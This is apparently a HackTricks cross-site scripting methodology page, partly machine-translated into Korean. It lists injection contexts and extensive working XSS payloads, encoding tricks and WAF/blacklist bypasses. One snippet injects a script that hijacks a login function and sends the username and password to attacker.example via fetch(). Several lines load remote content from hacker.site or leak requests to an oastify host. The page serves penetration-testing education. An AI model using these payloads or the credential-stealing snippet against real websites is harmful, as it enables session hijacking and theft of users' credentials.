XSS (Cross Site Scripting)
Reading time: 52 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
방법론
- 당신이 제어하는 어떤 값( parameters, path, headers?, cookies? )이 HTML에 반영되거나 JS 코드에서 사용되는지 확인한다.
- 입력이 반영/사용되는 컨텍스트를 찾는다.
- 만약 반영되어 있다면
- 어떤 기호를 사용할 수 있는지 확인하고, 그에 따라 페이로드를 준비한다:
- raw HTML 내:
- 새로운 HTML 태그를 생성할 수 있는가?
javascript:
프로토콜을 지원하는 이벤트나 속성을 사용할 수 있는가?- 보호 장치를 우회할 수 있는가?
- HTML 컨텐츠가 클라이언트 사이드 JS 엔진(AngularJS, VueJS, Mavo...)에 의해 해석되는가? 그렇다면 Client Side Template Injection를 악용할 수 있다.
- JS 코드를 실행하는 HTML 태그를 만들 수 없다면, Dangling Markup - HTML scriptless injection를 악용할 수 있는가?
- HTML 태그 내부:
- raw HTML 컨텍스트로 빠져나갈 수 있는가?
- JS 코드를 실행할 수 있는 새로운 이벤트/속성을 만들 수 있는가?
- 당신이 갇혀 있는 속성이 JS 실행을 지원하는가?
- 보호 장치를 우회할 수 있는가?
- JavaScript 코드 내부:
<script>
태그를 탈출(escape)할 수 있는가?- 문자열을 탈출해서 다른 JS 코드를 실행할 수 있는가?
- 입력이 템플릿 리터럴 `` 안에 있는가?
- 보호 장치를 우회할 수 있는가?
- Javascript function이 실행되는 경우
- 실행할 함수의 이름을 지정할 수 있다. 예:
?callback=alert(1)
- 만약 사용되는 경우:
- DOM XSS를 악용할 수 있다. 입력이 어떻게 제어되는지, 그리고 당신의 제어된 입력이 어떤 sink에 의해 사용되는지를 주의하라.
복잡한 XSS를 다룰 때 다음 내용을 알아두면 유용할 수 있다:
반영된 값
XSS를 성공적으로 악용하려면 가장 먼저 찾아야 할 것은 웹페이지에 반영되는 당신이 제어하는 값이다.
- Intermediately reflected: 파라미터 값이나 경로가 웹페이지에 반영된다면 Reflected XSS를 악용할 수 있다.
- Stored and reflected: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 Stored XSS를 악용할 수 있다.
- Accessed via JS: 당신이 제어하는 값이 JS로 접근된다면 DOM XSS를 악용할 수 있다.
컨텍스트
XSS를 악용하려 할 때 가장 먼저 알아야 할 것은 입력이 어디에 반영되는가이다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방법이 달라진다.
Raw HTML
입력이 raw HTML에 반영되는 경우, JS 코드를 실행하기 위해 일부 HTML 태그를 악용해야 한다: <img , <iframe , <svg , <script
... 이것들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과하다.
또한, Client Side Template Injection을 염두에 두라.
Inside HTML tags attribute
입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있다:
- 속성과 태그에서 탈출(그러면 raw HTML 상태가 됨)하여 악용할 새로운 HTML 태그를 만든다:
"><img [...]
- 만약 속성에서는 탈출할 수 있지만 태그에서는 탈출할 수 없다면 (
>
가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 이벤트를 생성할 수 있다:" autofocus onfocus=alert(1) x="
- 만약 속성에서 탈출할 수 없다면 (
"
가 인코딩되거나 삭제됨), 값이 반영되는 어떤 속성인지, 그리고 전체 값을 제어하는지 일부만 제어하는지에 따라 이를 악용할 수 있다. 예를 들어onclick=
같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행시킬 수 있다. 또 다른 흥미로운 예는href
속성으로,javascript:
프로토콜을 사용해 임의의 코드를 실행할 수 있다:href="javascript:alert(1)"
- 입력이 "unexpoitable tags" 안에 반영된다면
accesskey
트릭을 시도해볼 수 있다(이를 악용하려면 일종의 social engineering이 필요하다):" accesskey="x" onclick="alert(1)" x="
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript 코드 내부
이 경우 입력은 HTML 페이지의 <script> [...] </script>
태그 사이, .js
파일 내부 또는 javascript:
프로토콜을 사용하는 속성 내에 반영됩니다:
- 만약 입력이
<script> [...] </script>
태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도</script>
을 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱한 다음 콘텐츠를 처리하기 때문에, 주입한</script>
태그가 HTML 코드 내부에 있다는 것을 인지하지 못하기 때문입니다. - 만약 입력이 JS 문자열 안에 반영되고 이전 트릭이 작동하지 않는다면, 문자열을 종료하고, 코드를 실행하며, JS 코드를 재구성해야 합니다 (오류가 있으면 실행되지 않습니다:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- 템플릿 리터럴 안에 반영된다면
${ ... }
구문을 사용해 JS 표현식 삽입을 할 수 있습니다:var greetings = `Hello, ${alert(1)}`
- Unicode 인코딩은 유효한 javascript 코드를 작성하는 데 사용할 수 있습니다:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to 사용된 이후에 함수, 변수 또는 클래스를 선언하여 XSS가 미선언된 변수나 함수를 사용하는 상황을 악용할 수 있습니다.
자세한 내용은 다음 페이지를 확인하세요:
Javascript Function
Several web pages have endpoints that 실행할 함수의 이름을 파라미터로 받는. A common example to see in the wild is something like: ?callback=callbackFunc
.
A good way to find out if something given directly by the user is trying to be executed is 파라미터 값을 수정하는 것 (for example to 'Vulnerable') and looking in the console for errors like:
In case it's vulnerable, you could be able to alert를 트리거 just doing sending the value: ?callback=alert(1)
. However, it' very common that this endpoints will 내용을 검증 to only allow letters, numbers, dots and underscores ([\w\._]
).
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to DOM의 어떤 요소든 접근할 수 있습니다:
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders
.
그러나 보통 지정된 함수를 실행하는 엔드포인트들은 흥미로운 DOM이 많지 않은 경우가 많습니다. 동일 출처의 다른 페이지들은 더 많은 동작을 수행할 수 있는 더 흥미로운 DOM을 가지고 있을 수 있습니다.
따라서, 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다:
SOME - Same Origin Method Execution
DOM
JS 코드가 공격자가 제어하는 일부 데이터를 안전하지 않게 사용하고 있는 경우가 있습니다(예: location.href
). 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
Universal XSS
이런 종류의 XSS는 어디에서나 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 어떤 컨텍스트에서도 발생할 수 있습니다. 이러한 임의의 JavaScript 실행은 심지어 RCE를 얻거나 클라이언트 및 서버에서 임의의 파일을 읽는 등으로 악용될 수 있습니다.
몇 가지 예시:
WAF bypass encoding image
Injecting inside raw HTML
입력이 HTML 페이지 내부에 반영되거나 이 컨텍스트에서 이스케이프해 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 <
를 사용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 문자를 반사(reflect)해 보고 그것이 HTML 인코딩되는지, 삭제되는지, 아니면 변경 없이 반영되는지 확인하세요. 마지막 경우에만 이 케이스를 악용할 수 있습니다.
이 경우에는 Client Side Template Injection를 염두에 두십시오.
참고: HTML 주석은 -->
또는 --!>
로 닫을 수 있습니다
이 경우 및 black/whitelisting이 사용되지 않는 경우, 다음과 같은 페이로드를 사용할 수 있습니다:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
하지만, 태그/속성 블랙/화이트리스트가 사용되는 경우, 어떤 태그를 brute-force해야 하는지 알아내야 합니다.
허용되는 태그를 찾았으면, 발견한 유효한 태그 내부의 속성/이벤트를 brute-force하여 컨텍스트를 어떻게 공격할 수 있는지 확인해야 합니다.
태그/이벤트 brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. 그런 다음, 모든 태그를 Burp intruder로 전송하고 WAF가 악성으로 탐지하지 못한 태그가 있는지 확인하세요. 사용 가능한 태그를 발견하면, 유효한 태그를 사용하여 모든 이벤트를 brute-force할 수 있습니다 (같은 웹 페이지에서 _Copy events to clipboard_를 클릭하고 이전과 같은 절차를 따르세요).
커스텀 태그
유효한 HTML 태그를 찾지 못했다면, 커스텀 태그를 생성하고 onfocus
속성으로 JS 코드를 실행해볼 수 있습니다. XSS 요청에서는 URL 끝에 #
을 붙여 페이지가 해당 객체에 포커스하고 코드를 실행하게 만들어야 합니다:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
어떤 종류의 blacklist가 사용되고 있다면, 몇 가지 간단한 트릭으로 그것을 bypass해볼 수 있습니다:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > 다양한 환경을 위한 더 많은 tiny XSS payload 여기에서 찾을 수 있습니다 및 여기.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
마지막 것은 2개의 unicode 문자로 구성되어 있으며 5개로 확장됩니다: telsr
More of these characters can be found here.
어떤 문자로 분해되는지 확인하려면 here을 확인하세요.
Click XSS - Clickjacking
취약점을 악용하기 위해 사용자가 미리 채워진 데이터와 함께 링크나 폼을 클릭해야 하는 경우, 페이지가 취약하다면 abuse Clickjacking를 시도해 볼 수 있습니다.
Impossible - Dangling Markup
HTML 태그와 속성으로 JS 코드를 실행하는 것이 불가능하다고 생각된다면, Danglig Markup 을 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 exploit할 수 있기 때문입니다.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
HTML 태그 내부에 있는 경우, 가장 먼저 시도해볼 것은 태그에서 escape하여 previous section에 언급된 기법들 중 일부를 사용해 JS 코드를 실행하는 것입니다.
태그에서 탈출할 수 없다면, 태그 내부에 새로운 속성을 생성해 JS 코드를 실행하도록 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (이 예제에서는 속성에서 탈출하기 위해 double quotes를 사용했지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
스타일 이벤트
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
속성 내에서
비록 속성에서 탈출할 수 없다면 ("
가 인코딩되거나 삭제되는 경우), 값이 반영되는 어떤 속성인지 및 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있습니다. 예를 들어, onclick=
같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행하게 할 수 있습니다.\
또 다른 흥미로운 예는 href
속성으로, javascript:
프로토콜을 사용해 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
이벤트 내부 우회 (HTML encoding/URL encode 사용)
HTML 태그 속성 값 안의 HTML 인코딩된 문자는 런타임에 디코딩됩니다. 따라서 다음과 같은 것이 유효하게 동작합니다(페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
참고로 어떤 형태의 HTML 인코딩도 유효합니다:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
참고: URL encode도 작동합니다:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
이벤트 내부에서 Unicode 인코딩을 사용하여 우회
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
속성 내의 특수 프로토콜
해당 속성에서는 일부 위치에서 프로토콜 javascript:
또는 data:
를 사용해 임의의 JS 코드를 실행할 수 있습니다. 일부는 사용자 상호작용을 요구하고, 일부는 요구하지 않습니다.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
이러한 프로토콜을 주입할 수 있는 위치
일반적으로 javascript:
프로토콜은 href
속성을 허용하는 모든 태그에서 사용할 수 있으며 그리고 대부분의 src
속성을 허용하는 태그에서도 사용 가능합니다 (단 <img>
는 제외)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
이 경우 HTML encoding과 Unicode encoding 트릭은 이전 섹션에서 설명한 것처럼 attribute 내부에 있기 때문에 역시 유효합니다.
<a href="javascript:var a=''-alert(1)-''">
또한, 이러한 경우에 사용할 수 있는 또 다른 유용한 요령이 있다: 비록 javascript:...
안의 입력이 URL encoded 되어 있더라도, 실행되기 전에 URL decoded 된다. 따라서, single quote을 사용해 string에서 escape해야 하고, 그것이 URL encoded 되고 있는 것을 본다면, 상관없다, 그것은 execution 시간에 single quote로 interpreted 된다.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
참고: 어떤 순서로든 URLencode + HTMLencode
를 둘 다 사용하여 payload를 인코딩하려고 하면 작동하지 않습니다, 하지만 payload 내부에서 혼합할 수 있습니다.
Hex 및 Octal encode를 javascript:
와 함께 사용
적어도 iframe
의 src
속성 내부에서 Hex 및 Octal encode를 사용해 HTML tags to execute JS를 선언할 수 있습니다:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href=
tag that contains the target="_blank" and rel="opener"
attributes, check the following page to exploit this behavior:
on 이벤트 핸들러 우회
먼저 이 페이지 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)를 확인하여 유용한 "on" 이벤트 핸들러를 살펴보세요.
만약 일부 블랙리스트 때문에 이러한 이벤트 핸들러를 생성하지 못한다면 다음 우회 방법들을 시도해볼 수 있습니다:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
다음 here hidden inputs를 이제 다음과 같이 악용할 수 있습니다:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
그리고 meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
출처: here: XSS payload를 숨겨진 attribute 안에서 실행할 수 있습니다. 단, 설득해서 victim이 key combination을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 ALT+SHIFT+X이고 OS X에서는 CTRL+ALT+X입니다. access key attribute에서 다른 키를 사용하면 다른 key combination을 지정할 수 있습니다. 벡터는 다음과 같습니다:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS 페이로드는 대략 다음과 같습니다: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
이 섹션에서는 이미 다양한 인코딩을 사용한 트릭들이 소개되어 있습니다. 어디에서 사용할 수 있는지 뒤로 가서 확인하세요:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
HTML 태그 및 속성 우회
이전 섹션의 Blacklist Bypasses of the previous section을 읽어보세요.
JavaScript 코드 우회
다음 섹션의 JavaScript bypass blacklist를 읽어보세요: JavaScript bypass blacklist of the following section.
CSS-Gadgets
웹의 아주 작은 부분에서 XSS를 발견했고 해당 취약점이 상호작용을 필요로 한다면(예: footer의 작은 링크에 onmouseover 요소가 있는 경우), 링크가 실행될 확률을 높이기 위해 해당 요소가 차지하는 공간을 변경해 볼 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
하지만 WAF가 style 속성을 필터링한다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음을 찾았다면
.test {display:block; color: blue; width: 100%}
그리고
#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다
<a href="" id=someid class=test onclick=alert() a="">
이 트릭은 다음 글에서 가져왔습니다: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
이 경우 사용자의 input은 .js
파일 내부의 JS 코드, <script>...</script>
태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 내부, 또는 javascript:
프로토콜을 허용하는 속성 안에 반영(reflected) 됩니다.
<script> 태그 탈출
만약 코드가 <script> [...] var input = 'reflected data' [...] </script>
내부에 삽입된다면, </script>
태그를 닫아 탈출(escape) 하는 것은 비교적 쉽습니다:
</script><img src=1 onerror=alert(document.domain)>
이 예제에서는 작은 따옴표를 닫지조차 않았습니다. 이는 HTML 파싱이 브라우저에 의해 먼저 수행되기 때문으로, 여기에는 스크립트 블록을 포함한 페이지 요소 식별이 포함됩니다. 내장된 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에야 수행됩니다.
JS 코드 내부
<>
가 정화되는 경우에도 입력이 위치한 곳에서 여전히 문자열을 이스케이프하여 임의의 JS를 실행할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 JS 문법을 수정하는 것이 중요합니다:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
사용자 입력이 따옴표로 감싸인 JavaScript 문자열 내부에 들어갈 때(예: 서버 측에서 inline script로 echo하는 경우), 문자열을 종료시키고 코드를 주입한 뒤 구문을 유효하게 유지하도록 복구할 수 있습니다. 일반적인 골격:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
취약한 파라미터가 JS string에 반영될 때의 예시 URL 패턴:
?param=test";<INJECTION>;a="
이는 HTML context를 건드리지 않고도 공격자 JS를 실행합니다 (pure JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요.
Template literals ``
문자열을 구성할 때, 작은따옴표와 큰따옴표 외에도 JS는 backticks ``
를 허용합니다. 이것은 template literals라고 하며 ${ ... }
문법을 사용해 embedded JS expressions를 포함할 수 있게 해줍니다.
따라서 입력값이 백틱을 사용하는 JS 문자열 안에 reflected 되어 있다면, ${ ... }
문법을 악용해 arbitrary JS code를 실행할 수 있습니다:
이는 다음과 같이 abused 할 수 있습니다:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads와 eval(atob()) 및 scope의 뉘앙스
URLs를 더 짧게 유지하고 단순한 키워드 필터를 우회하기 위해, 실제 로직을 base64로 인코딩하고 eval(atob('...'))
로 평가할 수 있다. 단순 키워드 필터가 alert
, eval
, atob
같은 식별자를 차단하면, 브라우저에서 동일하게 컴파일되지만 문자열 매칭 필터를 회피하는 유니코드 이스케이프된 식별자를 사용하라:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
중요한 스코프 관련 주의: eval()
내부에서 선언된 const
/let
은 블록 스코프이며 전역을 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때 global, non-rebindable hooks를 정의하려면 동적으로 주입한 <script>
요소를 사용하세요 (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode 인코딩 JS 실행
alert(1)
alert(1)
alert(1)
JavaScript 블랙리스트 우회 기법
문자열
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
특수 이스케이프
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS 코드 내의 공백 치환
<TAB>
/**/
JavaScript comments (출처: JavaScript Comments 트릭)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (출처: JavaScript new line 트릭)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 공백 문자
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
주석 안의 Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
괄호 없는 JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
